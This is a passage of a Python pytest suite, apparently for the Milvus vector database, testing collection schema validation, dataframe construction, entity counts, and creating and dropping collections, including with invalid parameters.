auto_id must be bool type"} self.collection_schema_wrap.init_collection_schema([int_field, vec_field], auto_id=auto_id, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_multi_fields_auto_id(self): """ target: test collection auto_id with multi fields method: specify auto_id=True for multi int64 fields expected: todo raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "auto_id can only be specified on the primary key field"} cf.gen_int64_field(is_primary=True, auto_id=True) self.field_schema_wrap.init_field_schema(name="int", dtype=DataType.INT64, auto_id=True, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("dtype", [DataType.FLOAT_VECTOR, DataType.BINARY_VECTOR]) def test_collection_vector_without_dim(self, dtype): """ target: test collection without dimension method: define vector field without dim expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) float_vec_field, _ = self.field_schema_wrap.init_field_schema(name="vec", dtype=dtype) schema = cf.gen_collection_schema(fields=[cf.gen_int64_field(is_primary=True), float_vec_field]) error = {ct.err_code: 1, ct.err_msg: "dimension is not defined in field type params"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.xfail(reason="exception not Milvus Exception") def test_collection_vector_invalid_dim(self, get_invalid_dim): """ target: test collection with invalid dimension method: define float-vec field with invalid dimension expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) float_vec_field = cf.gen_float_vec_field(dim=get_invalid_dim) schema = cf.gen_collection_schema(fields=[cf.gen_int64_field(is_primary=True), float_vec_field]) error = {ct.err_code: 1, ct.err_msg: f'invalid dim: {get_invalid_dim}'} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("dim", [-1, 0, 32769]) def test_collection_vector_out_bounds_dim(self, dim): """ target: test collection with out of bounds dim method: invalid dim -1 and 32759 expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) float_vec_field = cf.gen_float_vec_field(dim=dim) schema = cf.gen_collection_schema(fields=[cf.gen_int64_field(is_primary=True), float_vec_field]) error = {ct.err_code: 1, ct.err_msg: "invalid dimension: {}. should be in range 1 ~ 32768".format(dim)} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_non_vector_field_dim(self): """ target: test collection with dim for non-vector field method: define int64 field with dim expected: no exception """ self._connect() c_name = cf.gen_unique_str(prefix) int_field, _ = self.field_schema_wrap.init_field_schema(name=ct.default_int64_field_name, dtype=DataType.INT64, dim=ct.default_dim) float_vec_field = cf.gen_float_vec_field() schema = cf.gen_collection_schema(fields=[int_field, float_vec_field], primary_field=ct.default_int64_field_name) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L1) def test_collection_desc(self): """ target: test collection with description method: create with description expected: assert default description """ self._connect() c_name = cf.gen_unique_str(prefix) schema = cf.gen_default_collection_schema(description=ct.collection_desc) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L2) def test_collection_none_desc(self): """ target: test collection with none description method: create with none description expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) schema = cf.gen_default_collection_schema(description=None) error = {ct.err_code: 1, ct.err_msg: "None has type NoneType, but expected one of: bytes, unicode"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_long_desc(self): """ target: test collection with long desc method: create with long desc expected: """ self._connect() c_name = cf.gen_unique_str(prefix) desc = "a".join("a" for _ in range(256)) schema = cf.gen_default_collection_schema(description=desc) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L0) def test_collection_binary(self): """ target: test collection with binary-vec method: create collection with binary field expected: assert binary field """ self._connect() c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=default_binary_schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_binary_schema}) assert c_name in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L0) def test_collection_shards_num_with_default_value(self): """ target:test collection with shards_num method:create collection with shards_num expected: no exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=default_schema, shards_num=default_shards_num, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_shards_num: default_shards_num}) assert c_name in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L0) @pytest.mark.parametrize("shards_num", [-256, 0, 10, 256]) def test_collection_shards_num_with_not_default_value(self, shards_num): """ target:test collection with shards_num method:create collection with not default shards_num expected: no exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=default_schema, shards_num=shards_num, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_shards_num: shards_num}) assert c_name in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L2) def test_collection_shards_num_with_error_type(self): """ target:test collection with error type shards_num method:create collection with error type shards_num expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) error_type_shards_num = "2" # suppose to be int rather than str error = {ct.err_code: -1, ct.err_msg: f"expected one of: int, long"} self.collection_wrap.init_collection(c_name, schema=default_schema, shards_num=error_type_shards_num, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_create_collection_maximum_fields(self): """ target: test create collection with maximum fields method: create collection with maximum field number expected: no exception """ self._connect() c_name = cf.gen_unique_str(prefix) int_fields = [] limit_num = ct.max_field_num - 2 for i in range(limit_num): int_field_name = cf.gen_unique_str("field_name") field = cf.gen_int64_field(name=int_field_name) int_fields.append(field) int_fields.append(cf.gen_float_vec_field()) int_fields.append(cf.gen_int64_field(is_primary=True)) schema = cf.gen_collection_schema(fields=int_fields) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L2) def test_create_collection_over_maximum_fields(self): """ target: Test create collection with more than the maximum fields method: create collection with more than the maximum field number expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) int_fields = [] limit_num = ct.max_field_num for i in range(limit_num): int_field_name = cf.gen_unique_str("field_name") field = cf.gen_int64_field(name=int_field_name) int_fields.append(field) int_fields.append(cf.gen_float_vec_field()) int_fields.append(cf.gen_int64_field(is_primary=True)) schema = cf.gen_collection_schema(fields=int_fields) error = {ct.err_code: 1, ct.err_msg: "maximum field's number should be limited to 256"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) class TestCollectionOperation(TestcaseBase): """ ****************************************************************** The following cases are used to test collection interface operations ****************************************************************** """ @pytest.mark.tags(CaseLabel.L2) def test_collection_without_connection(self): """ target: test collection without connection method: 1.create collection after connection removed expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} self.collection_wrap.init_collection(c_name, schema=default_schema, check_task=CheckTasks.err_res, check_items=error) assert self.collection_wrap.collection is None @pytest.mark.tags(CaseLabel.L1) def test_collection_multi_create_drop(self): """ target: test cycle creation and deletion of multiple collections method: in a loop, collections are created and deleted sequentially expected: no exception """ self._connect() c_num = 20 for _ in range(c_num): c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=default_schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) self.collection_wrap.drop() assert c_name not in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L1) def test_collection_dup_name_drop(self): """ target: test collection with dup name, and drop method: 1. two dup name collection object 2. one object drop collection expected: collection dropped """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) self.collection_wrap.init_collection(c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) self.collection_wrap.drop() assert not self.utility_wrap.has_collection(c_name)[0] error = {ct.err_code: 1, ct.err_msg: f'HasPartition failed: can\'t find collection: {c_name}'} collection_w.has_partition("p", check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_after_drop(self): """ target: test create collection after create and drop method: 1. create a 2. drop a 3, re-create a expected: no exception """ c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) collection_w.drop() assert not self.utility_wrap.has_collection(collection_w.name)[0] self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) assert self.utility_wrap.has_collection(c_name)[0] @pytest.mark.tags(CaseLabel.L1) def test_collection_all_datatype_fields(self): """ target: test create collection with all dataType fields method: create collection with all dataType schema expected: create successfully """ self._connect() fields = [] for k, v in DataType.__members__.items(): if v and v != DataType.UNKNOWN and v != DataType.STRING and v != DataType.FLOAT_VECTOR and v != DataType.BINARY_VECTOR: field, _ = self.field_schema_wrap.init_field_schema(name=k.lower(), dtype=v) fields.append(field) fields.append(cf.gen_float_vec_field()) schema, _ = self.collection_schema_wrap.init_collection_schema(fields, primary_field=ct.default_int64_field_name) c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L1) def test_collection_string_field(self): """ target: test create with string field method: create collection with string field expected: Raise exception """ self._connect() string_field = self.field_schema_wrap.init_field_schema(name="string", dtype=DataType.STRING)[0] int_field = cf.gen_int64_field(is_primary=True) vec_field = cf.gen_float_vec_field() schema = cf.gen_collection_schema(fields=[int_field, string_field, vec_field]) error = {ct.err_code: 0, ct.err_msg: "string data type not supported yet"} self.collection_wrap.init_collection(name=cf.gen_unique_str(prefix), schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_load_collection_after_load_partition(self): """ target: test release the partition after load collection method: load collection and load the partition expected: raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_w1 = self.init_partition_wrap(collection_w) partition_w1.insert(cf.gen_default_list_data()) collection_w.load() error = {ct.err_code: 1, ct.err_msg: f'load the partition after load collection is not supported'} partition_w1.load(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_load_collection_release_partition(self): """ target: test release the partition after load collection method: load collection and release the partition expected: raise exception """ self._connect() collection_w = self.init_collection_wrap() partition_w1 = self.init_partition_wrap(collection_w) partition_w1.insert(cf.gen_default_list_data()) collection_w.load() error = {ct.err_code: 1, ct.err_msg: f'releasing the partition after load collection is not supported'} partition_w1.release(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_load_collection_after_release_collection(self): """ target: test release the collection after load collection method: load collection and release the collection expected: no exception """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) collection_w.insert(cf.gen_default_list_data()) collection_w.load() collection_w.release() class TestCollectionDataframe(TestcaseBase): """ ****************************************************************** The following cases are used to test construct_from_dataframe ****************************************************************** """ @pytest.fixture(scope="function", params=ct.get_invalid_strs) def get_non_df(self, request): if request.param is None: pytest.skip("skip None") yield request.param @pytest.mark.tags(CaseLabel.L0) def test_construct_from_dataframe(self): """ target: test collection with dataframe data method: create collection and insert with dataframe expected: collection num entities equal to nb """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(ct.default_nb) self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) # flush assert self.collection_wrap.num_entities == ct.default_nb @pytest.mark.tags(CaseLabel.L0) def test_construct_from_binary_dataframe(self): """ target: test binary collection with dataframe method: create binary collection with dataframe expected: collection num entities equal to nb """ self._connect() c_name = cf.gen_unique_str(prefix) df, _ = cf.gen_default_binary_dataframe_data(nb=ct.default_nb) self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_binary_schema}) assert self.collection_wrap.num_entities == ct.default_nb @pytest.mark.tags(CaseLabel.L2) def test_construct_from_none_dataframe(self): """ target: test create collection by empty dataframe method: invalid dataframe type create collection expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) error = {ct.err_code: 0, ct.err_msg: "Dataframe can not be None."} self.collection_wrap.construct_from_dataframe(c_name, None, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_from_dataframe_only_column(self): """ target: test collection with dataframe only columns method: dataframe only has columns expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = pd.DataFrame(columns=[ct.default_int64_field_name, ct.default_float_vec_field_name]) error = {ct.err_code: 0, ct.err_msg: "Cannot infer schema from empty dataframe"} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_from_inconsistent_dataframe(self): """ target: test collection with data inconsistent method: create and insert with inconsistent data expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) # one field different type df mix_data = [(1, 2., [0.1, 0.2]), (2, 3., 4)] df = pd.DataFrame(data=mix_data, columns=list("ABC")) error = {ct.err_code: 0, ct.err_msg: "The data in the same column must be of the same type"} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field='A', check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_from_non_dataframe(self, get_non_df): """ target: test create collection by invalid dataframe method: non-dataframe type create collection expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) error = {ct.err_code: 0, ct.err_msg: "Data type must be pandas.DataFrame."} df = get_non_df self.collection_wrap.construct_from_dataframe(c_name, df, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_from_data_type_dataframe(self): """ target: test collection with invalid dataframe method: create with invalid dataframe expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = pd.DataFrame({"date": pd.date_range('20210101', periods=3), ct.default_int64_field_name: [1, 2, 3]}) error = {ct.err_code: 0, ct.err_msg: "Cannot infer schema from empty dataframe."} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_from_invalid_field_name(self): """ target: test collection with invalid field name method: create with invalid field name dataframe expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = pd.DataFrame({'%$#': cf.gen_vectors(3, 2), ct.default_int64_field_name: [1, 2, 3]}) error = {ct.err_code: 1, ct.err_msg: "Invalid field name"} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_none_primary_field(self): """ target: test collection with none primary field method: primary_field is none expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(ct.default_nb) error = {ct.err_code: 0, ct.err_msg: "Schema must have a primary key field."} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=None, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_not_existed_primary_field(self): """ target: test collection with not existed primary field method: primary field not existed expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(ct.default_nb) error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=c_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_construct_with_none_auto_id(self): """ target: test construct with non-int64 as primary field method: non-int64 as primary field expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(ct.default_nb) error = {ct.err_code: 0, ct.err_msg: "Param auto_id must be bool type"} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, auto_id=None, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_construct_auto_id_true_insert(self): """ target: test construct with true auto_id method: auto_id=True and insert values expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(nb=100) error = {ct.err_code: 0, ct.err_msg: "Auto_id is True, primary field should not have data."} self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, auto_id=True, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_construct_auto_id_true_no_insert(self): """ target: test construct with true auto_id method: auto_id=True and not insert ids(primary fields all values are None) expected: verify num entities """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data() # df.drop(ct.default_int64_field_name, axis=1, inplace=True) df[ct.default_int64_field_name] = None self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, auto_id=True) assert self.collection_wrap.num_entities == ct.default_nb @pytest.mark.tags(CaseLabel.L2) def test_construct_none_value_auto_id_true(self): """ target: test construct with none value, auto_id method: df primary field with none value, auto_id=true expected: todo """ self._connect() nb = 100 df = cf.gen_default_dataframe_data(nb) df.iloc[:, 0] = numpy.NaN res, _ = self.collection_wrap.construct_from_dataframe(cf.gen_unique_str(prefix), df, primary_field=ct.default_int64_field_name, auto_id=True) mutation_res = res[1] assert cf._check_primary_keys(mutation_res.primary_keys, 100) assert self.collection_wrap.num_entities == nb @pytest.mark.tags(CaseLabel.L1) def test_construct_auto_id_false(self): """ target: test construct with false auto_id method: auto_id=False, primary_field correct expected: verify auto_id """ self._connect() c_name = cf.gen_unique_str(prefix) df = cf.gen_default_dataframe_data(ct.default_nb) self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, auto_id=False) assert not self.collection_wrap.schema.auto_id assert self.collection_wrap.num_entities == ct.default_nb @pytest.mark.tags(CaseLabel.L2) def test_construct_none_value_auto_id_false(self): """ target: test construct with none value, auto_id method: df primary field with none value, auto_id=false expected: raise exception """ self._connect() nb = 100 df = cf.gen_default_dataframe_data(nb) df.iloc[:, 0] = numpy.NaN error = {ct.err_code: 0, ct.err_msg: "Primary key type must be DataType.INT64"} self.collection_wrap.construct_from_dataframe(cf.gen_unique_str(prefix), df, primary_field=ct.default_int64_field_name, auto_id=False, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_construct_auto_id_false_same_values(self): """ target: test construct with false auto_id and same value method: auto_id=False, primary field same values expected: verify num entities """ self._connect() nb = 100 df = cf.gen_default_dataframe_data(nb) df.iloc[1:, 0] = 1 res, _ = self.collection_wrap.construct_from_dataframe(cf.gen_unique_str(prefix), df, primary_field=ct.default_int64_field_name, auto_id=False) collection_w = res[0] assert collection_w.num_entities == nb mutation_res = res[1] assert mutation_res.primary_keys == df[ct.default_int64_field_name].values.tolist() @pytest.mark.tags(CaseLabel.L1) def test_construct_auto_id_false_negative_values(self): """ target: test construct with negative values method: auto_id=False, primary field values is negative expected: verify num entities """ self._connect() nb = 100 df = cf.gen_default_dataframe_data(nb) new_values = pd.Series(data=[i for i in range(0, -nb, -1)]) df[ct.default_int64_field_name] = new_values self.collection_wrap.construct_from_dataframe(cf.gen_unique_str(prefix), df, primary_field=ct.default_int64_field_name, auto_id=False) assert self.collection_wrap.num_entities == nb @pytest.mark.tags(CaseLabel.L1) def test_construct_from_dataframe_dup_name(self): """ target: test collection with dup name and insert dataframe method: create collection with dup name, none schema, dataframe expected: two collection object is correct """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, primary_field=ct.default_int64_field_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) df = cf.gen_default_dataframe_data(ct.default_nb) self.collection_wrap.construct_from_dataframe(c_name, df, primary_field=ct.default_int64_field_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) # flush assert collection_w.num_entities == ct.default_nb assert collection_w.num_entities == self.collection_wrap.num_entities class TestCollectionCount(TestcaseBase): @pytest.mark.tags(CaseLabel.L2) def test_collection_count_no_vectors(self, connect, collection): """ target: test collection rows_count is correct or not, if collection is empty method: create collection and no vectors in it, assert the value returned by num_entities attribute is equal to 0 expected: the count is equal to 0 """ self._connect() collection_w = self.init_collection_wrap() assert collection_w.num_entities == 0 class TestCollectionCountIP(TestcaseBase): """ params means different nb, the nb value may trigger merge, or not """ @pytest.fixture( scope="function", params=[ 1, 1000, 2001 ], ) def insert_count(self, request): yield request.param @pytest.mark.tags(CaseLabel.L1) def test_collection_count_after_index_created(self, insert_count): """ target: test count_entities, after index have been created method: add vectors in db, and create index, then calling num_entities with correct params expected: count_entities raise exception """ self._connect() collection_w = self.init_collection_wrap() data = cf.gen_default_list_data(insert_count, ct.default_dim) collection_w.insert(data) collection_w.create_index(ct.default_float_vec_field_name, default_index_params, index_name=ct.default_index_name) assert collection_w.num_entities == insert_count class TestCollectionCountBinary(TestcaseBase): """ params means different nb, the nb value may trigger merge, or not """ @pytest.fixture( scope="function", params=[ 1, 1000, 2001 ], ) def insert_count(self, request): yield request.param # TODO: need to update and enable @pytest.mark.tags(CaseLabel.L1) def test_collection_count_after_index_created_binary(self, insert_count): """ target: test num_entities, after index have been created method: add vectors in db, and create binary index, then calling num_entities with correct params expected: num_entities equals entities count just inserted """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema) df, _ = cf.gen_default_binary_dataframe_data(insert_count) mutation_res, _ = collection_w.insert(data=df) collection_w.create_index(ct.default_binary_vec_field_name, default_binary_index_params) assert collection_w.num_entities == insert_count @pytest.mark.tags(CaseLabel.L2) def test_collection_count_no_entities(self): """ target: test collection num_entities is correct or not, if collection is empty method: create collection and no vectors in it, assert the value returned by num_entities method is equal to 0 expected: the count is equal to 0 """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema) assert collection_w.num_entities == 0 class TestCollectionMultiCollections(TestcaseBase): """ params means different nb, the nb value may trigger merge, or not """ @pytest.fixture( scope="function", params=[ 1, 1000, 2001 ], ) def insert_count(self, request): yield request.param @pytest.mark.tags(CaseLabel.L0) def test_collection_count_multi_collections_l2(self, insert_count): """ target: test collection rows_count is correct or not with multiple collections of L2 method: create collection and add entities in it, assert the value returned by num_entities is equal to length of entities expected: the count is equal to the length of entities """ self._connect() data = cf.gen_default_list_data(insert_count) collection_list = [] collection_num = 20 for i in range(collection_num): collection_name = gen_unique_str(uid_count) collection_w = self.init_collection_wrap(name=collection_name) collection_w.insert(data) collection_list.append(collection_name) for i in range(collection_num): res, _ = self.collection_wrap.init_collection(collection_list[i]) assert self.collection_wrap.num_entities == insert_count @pytest.mark.tags(CaseLabel.L2) def test_collection_count_multi_collections_binary(self, insert_count): """ target: test collection rows_count is correct or not with multiple collections of JACCARD method: create collection and add entities in it, assert the value returned by count_entities method is equal to length of entities expected: the count is equal to the length of entities """ self._connect() df, _ = cf.gen_default_binary_dataframe_data(insert_count) collection_list = [] collection_num = 20 for i in range(collection_num): c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema) mutation_res, _ = collection_w.insert(data=df) collection_list.append(c_name) for i in range(collection_num): res, _ = self.collection_wrap.init_collection(collection_list[i]) assert self.collection_wrap.num_entities == insert_count @pytest.mark.tags(CaseLabel.L2) def test_collection_count_multi_collections_mix(self): """ target: test collection rows_count is correct or not with multiple collections of method: create collection and add entities in it, assert the value returned by count_entities method is equal to length of entities expected: the count is equal to the length of entities """ self._connect() collection_list = [] collection_num = 20 data = cf.gen_default_list_data() df, _ = cf.gen_default_binary_dataframe_data(ct.default_nb) for i in range(0, int(collection_num / 2)): collection_name = gen_unique_str(uid_count) collection_w = self.init_collection_wrap(name=collection_name) collection_w.insert(data) collection_list.append(collection_name) for i in range(int(collection_num / 2), collection_num): c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_binary_schema) mutation_res, _ = collection_w.insert(data=df) collection_list.append(c_name) for i in range(collection_num): res, _ = self.collection_wrap.init_collection(collection_list[i]) assert self.collection_wrap.num_entities == ct.default_nb class TestCreateCollection(TestcaseBase): @pytest.mark.tags(CaseLabel.L1) def test_create_collection_multithread(self): """ target: test create collection with multi-thread method: create collection using multi-thread, expected: collections are created """ self._connect() threads_num = 8 threads = [] collection_names = [] def create(): collection_name = gen_unique_str(uid_create) collection_names.append(collection_name) self.init_collection_wrap(name=collection_name) for i in range(threads_num): t = MyThread(target=create, args=()) threads.append(t) t.start() time.sleep(0.2) for t in threads: t.join() for item in collection_names: assert item in self.utility_wrap.list_collections()[0] class TestCreateCollectionInvalid(TestcaseBase): """ Test creating collections with invalid params """ @pytest.mark.tags(CaseLabel.L2) def test_create_collection_limit_fields(self): """ target: test create collection with maximum fields method: create collection with maximum field number expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) limit_num = ct.max_field_num field_schema_list = [] field_pr = cf.gen_int64_field(ct.default_int64_field_name, is_primary=True) field_v = cf.gen_float_vec_field(ct.default_float_vec_field_name) field_schema_list.append(field_pr) field_schema_list.append(field_v) for i in range(limit_num): field_name_tmp = gen_unique_str("field_name") field_schema_temp = cf.gen_int64_field(field_name_tmp) field_schema_list.append(field_schema_temp) error = {ct.err_code: 1, ct.err_msg: "'maximum field\'s number should be limited to 256'"} schema, _ = self.collection_schema_wrap.init_collection_schema(fields=field_schema_list) self.init_collection_wrap(name=c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) class TestDropCollection(TestcaseBase): """ ****************************************************************** The following cases are used to test `drop_collection` function ****************************************************************** """ @pytest.mark.tags(CaseLabel.L0) def test_drop_collection_A(self): """ target: test delete collection created with correct params method: create collection and then delete, assert the value returned by delete method expected: status ok, and no collection in collections """ self._connect() c_name = cf.gen_unique_str() collection_wr = self.init_collection_wrap(name=c_name) collection_wr.drop() assert not self.utility_wrap.has_collection(c_name)[0] @pytest.mark.tags(CaseLabel.L2) def test_drop_collection_without_connection(self): """ target: test describe collection, without connection method: drop collection with correct params, with a disconnected instance expected: drop raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) collection_wr = self.init_collection_wrap(c_name) self.connection_wrap.remove_connection(ct.default_alias) res_list, _ = self.connection_wrap.list_connections() assert ct.default_alias not in res_list error = {ct.err_code: 0, ct.err_msg: 'should create connect first'} collection_wr.drop(check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_drop_collection_not_existed(self): """ target: test if collection not created method: random a collection name, which not existed in db, assert the exception raised returned by drp_collection method expected: False """ self._connect() c_name = cf.gen_unique_str() self.init_collection_wrap(name=c_name) c_name_2 = cf.gen_unique_str() error = {ct.err_code: 0, ct.err_msg: 'DescribeCollection failed: can\'t find collection: %s' % c_name_2} self.utility_wrap.drop_collection(c_name_2, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_create_drop_collection_multithread(self): """ target: test create and drop collection with multi-thread method: create and drop collection using multi-thread, expected: collections are created, and dropped """ self._connect() threads_num = 8 threads = [] collection_names = [] def create(): c_name = cf.gen_unique_str() collection_names.append(c_name) collection_wr = self.init_collection_wrap(name=c_name) collection_wr.drop() for i in range(threads_num): t = MyThread(target=create, args=()) threads.append(t) t.start() time.sleep(0.2) for t in threads: t.join() for item in collection_names: assert not self.utility_wrap.has_collection(item)[0] class TestDropCollectionInvalid(TestcaseBase): """ Test drop collection with invalid params """ @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("name", ["12-s", "12 s", "(mn)", "中文", "%$#", "a".join("a" for i in range(256))]) def test_drop_collection_with_invalid_collection_name(self, name): """ target: test drop invalid collection method: drop collection with invalid collection name expected: raise exception """ self._connect() error = {ct.err_code: 1, ct.err_msg: "Invalid collection name: {}".format(name)} self.utility_wrap.drop_collection(name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_drop_collection_with_empty_or_None_collection_name(self): """ target: test drop invalid collection method: drop collection with empty or None collection name expected: raise exception """ self._connect() error = {ct.err_code: -1, ct.err_msg: '`collection_name` value is illegal'} self.utility_wrap.drop_collection('', check_task=CheckTasks.err_res, check_items=error) error_none = {ct.err_code: -1, ct.err_msg: '`collection_name` value None is illegal'} self.utility_wrap.drop_collection(None, check_task=CheckTasks.err_res, check_items=error_none) class TestHasCollection(TestcaseBase): """ ****************************************************************** The following cases are used to test `has_collection` function ****************************************************************** """ @pytest.mark.tags(CaseLabel.L2) def test_has_collection_without_connection(self): """ target: test has collection, without connection method: calling has collection with correct params, with a disconnected instance expected: has collection raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.init_collection_wrap(c_name) 